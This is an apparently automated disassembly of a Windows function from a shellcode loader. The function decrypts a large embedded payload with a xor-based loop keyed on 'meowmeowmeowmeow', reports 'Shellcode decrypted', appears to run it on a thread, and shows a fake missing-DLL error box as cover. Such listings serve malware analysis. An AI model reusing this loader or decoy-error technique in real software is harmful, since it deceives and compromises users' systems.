Function at 0x140007f70
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov eax, 0xea298
push rdi
push rsi
push rbx
call fcn.1400028d0
sub rsp, rax
movaps xmmword [rsp + 0xea220], xmm6
movaps xmmword [rsp + 0xea230], xmm7
movaps xmmword [rsp + 0xea240], xmm8
movaps xmmword [rsp + 0xea250], xmm9
movaps xmmword [rsp + 0xea260], xmm10
movaps xmmword [rsp + 0xea270], xmm11
movaps xmmword [rsp + 0xea280], xmm12
call fcn.140001900
lea rbx, [rsp + 0x220]
mov r8d, 0xea000
lea rdx, [0x14000a0e8]
mov rcx, rbx
call sub.msvcrt.dll_memcpy
movd xmm6, dword [0x140009014]
lea rdx, [rsp + 0xea220]
movd xmm7, dword [0x140009004]
pshufd xmm5, xmm6, 0
movd xmm6, dword [0x140009010]
pshufd xmm4, xmm7, 0
movd xmm7, dword [str.meowmeowmeowmeow]
pshufd xmm3, xmm6, 0
movd xmm6, dword [0x14000901c]
pshufd xmm2, xmm7, 0
movd xmm7, dword [0x14000900c]
pshufd xmm9, xmm6, 0
movd xmm6, dword [0x140009018]
pshufd xmm8, xmm7, 0
pshufd xmm7, xmm6, 0
movd xmm6, dword [0x140009008]
pshufd xmm6, xmm6, 0
nop word [rax + rax]
movdqa xmm1, xmmword [rax]
movdqa xmm11, xmm5
add rax, 0x20
movdqa xmm12, xmmword [rax - 0x10]
movdqa xmm10, xmm1
shufps xmm10, xmm12, 0x88
pxor xmm11, xmm10
movdqa xmm0, xmm11
psrld xmm11, 0x1f
pslld xmm0, 1
shufps xmm1, xmm12, 0xdd
por xmm0, xmm11
movdqa xmm11, xmm4
paddd xmm0, xmm10
pxor xmm0, xmm1
pxor xmm11, xmm0
movdqa xmm1, xmm11
psrld xmm11, 0x1f
pslld xmm1, 1
por xmm1, xmm11
movdqa xmm11, xmm3
paddd xmm1, xmm0
pxor xmm1, xmm10
pxor xmm11, xmm1
movdqa xmm10, xmm11
psrld xmm11, 0x1f
pslld xmm10, 1
por xmm10, xmm11
movdqa xmm11, xmm2
paddd xmm10, xmm1
pxor xmm0, xmm10
pxor xmm11, xmm0
movdqa xmm10, xmm11
psrld xmm11, 0x1f
pslld xmm10, 1
por xmm10, xmm11
movdqa xmm11, xmm9
paddd xmm10, xmm0
pxor xmm10, xmm1
pxor xmm11, xmm10
movdqa xmm1, xmm11
psrld xmm11, 0x1f
pslld xmm1, 1
por xmm1, xmm11
movdqa xmm11, xmm8
paddd xmm1, xmm10
pxor xmm1, xmm0
pxor xmm11, xmm1
movdqa xmm0, xmm11
psrld xmm11, 0x1f
pslld xmm0, 1
por xmm0, xmm11
movdqa xmm11, xmm7
paddd xmm0, xmm1
pxor xmm0, xmm10
pxor xmm11, xmm0
movdqa xmm10, xmm11
psrld xmm11, 0x1f
pslld xmm10, 1
por xmm10, xmm11
movdqa xmm11, xmm6
paddd xmm10, xmm0
pxor xmm10, xmm1
pxor xmm11, xmm10
movdqa xmm1, xmm11
psrld xmm11, 0x1f
pslld xmm1, 1
por xmm1, xmm11
movdqa xmm11, xmm5
paddd xmm1, xmm10
pxor xmm1, xmm0
pxor xmm11, xmm1
movdqa xmm0, xmm11
psrld xmm11, 0x1f
pslld xmm0, 1
por xmm0, xmm11
movdqa xmm11, xmm4
paddd xmm0, xmm1
pxor xmm0, xmm10
pxor xmm11, xmm0
movdqa xmm10, xmm11
pslld xmm11, 1
psrld xmm10, 0x1f
por xmm10, xmm11
movdqa xmm11, xmm3
paddd xmm10, xmm0
pxor xmm10, xmm1
pxor xmm11, xmm10
movdqa xmm1, xmm11
pslld xmm11, 1
psrld xmm1, 0x1f
por xmm1, xmm11
movdqa xmm11, xmm2
paddd xmm1, xmm10
pxor xmm1, xmm0
pxor xmm11, xmm1
movdqa xmm0, xmm11
pslld xmm11, 1
psrld xmm0, 0x1f
por xmm0, xmm11
paddd xmm0, xmm1
pxor xmm0, xmm10
movdqa xmm10, xmm0
punpckhdq xmm0, xmm1
movaps xmmword [rax - 0x10], xmm0
punpckldq xmm10, xmm1
movaps xmmword [rax - 0x20], xmm10
cmp rax, rdx
jne 0x140008058
lea rcx, str.Shellcode_decrypted_n
call fcn.140001470
lea rcx, [0x14000a02f]
call fcn.140001470
lea rsi, [rsp + 0x30]
lea r8, [0x14000a042]
mov rcx, rsi
lea rdx, [r8 - 0x10]
lea rax, [rsp + 0x40]
lea rdi, [rsp + 0x50]
mov qword [rsp + 0x30], rax
call fcn.1400016b0
mov r8d, 4
mov rdx, rsi
mov rcx, rdi
call fcn.1400017d8
mov r8d, 0xea000
mov rdx, rbx
mov rcx, rdi
call fcn.140001820
mov rcx, rdi
call fcn.1400017e0
mov qword [rsp + 0x20], 0
mov ecx, 0x30
call sub.libstdc_6.dll_operator_new_unsigned_long_long_
mov rdx, qword [rsp + 0x30]
mov rbp, rax
mov r8, qword [rsp + 0x38]
lea rax, [0x1400f40f8]
mov qword [rbp], rax
lea rax, [rbp + 0x18]
lea rcx, [rbp + 8]
mov qword [rbp + 8], rax
add r8, rdx
call fcn.1400016b0
lea rax, [0x1400014c0]
mov qword [rsp + 0x28], rbp
lea rbx, [rsp + 0x20]
mov qword [rbp + 0x28], rax
lea rdx, [rsp + 0x28]
mov rcx, rbx
lea r8, [0x140001450]
call fcn.1400017c0
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x14000835e
mov rax, qword [rcx]
call qword [rax + 8]
mov rcx, rbx
call fcn.1400017b0
lea r8, str.System_Error
mov r9d, 0x10
xor ecx, ecx
lea rdx, str.The_program_can_t_start_because_api_ms_win_crt_runtime_l1_1_0.dll_is_missing_from_your_computer._Try_reinstalling_the_program_to_fix_this_problem.
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp qword [rsp + 0x20], 0
jne 0x140008404
mov rcx, rdi
call fcn.1400017d0
mov rcx, rsi
call fcn.1400017a8
nop
movaps xmm6, xmmword [rsp + 0xea220]
xor eax, eax
movaps xmm7, xmmword [rsp + 0xea230]
movaps xmm8, xmmword [rsp + 0xea240]
movaps xmm9, xmmword [rsp + 0xea250]
movaps xmm10, xmmword [rsp + 0xea260]
movaps xmm11, xmmword [rsp + 0xea270]
movaps xmm12, xmmword [rsp + 0xea280]
add rsp, 0xea298
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov rcx, rsi
call fcn.1400017a8
mov rcx, rbx
call sub.libgcc_s_seh_1.dll__Unwind_Resume
cmp qword [rsp + 0x20], 0
mov rbx, rax
je 0x14000841c
call fcn.140001758
mov rcx, qword [rsp + 0x28]
mov rbx, rax
test rcx, rcx
je 0x14000841c
mov rax, qword [rcx]
call qword [rax + 8]
mov rcx, rdi
call fcn.1400017d0
jmp 0x1400083e9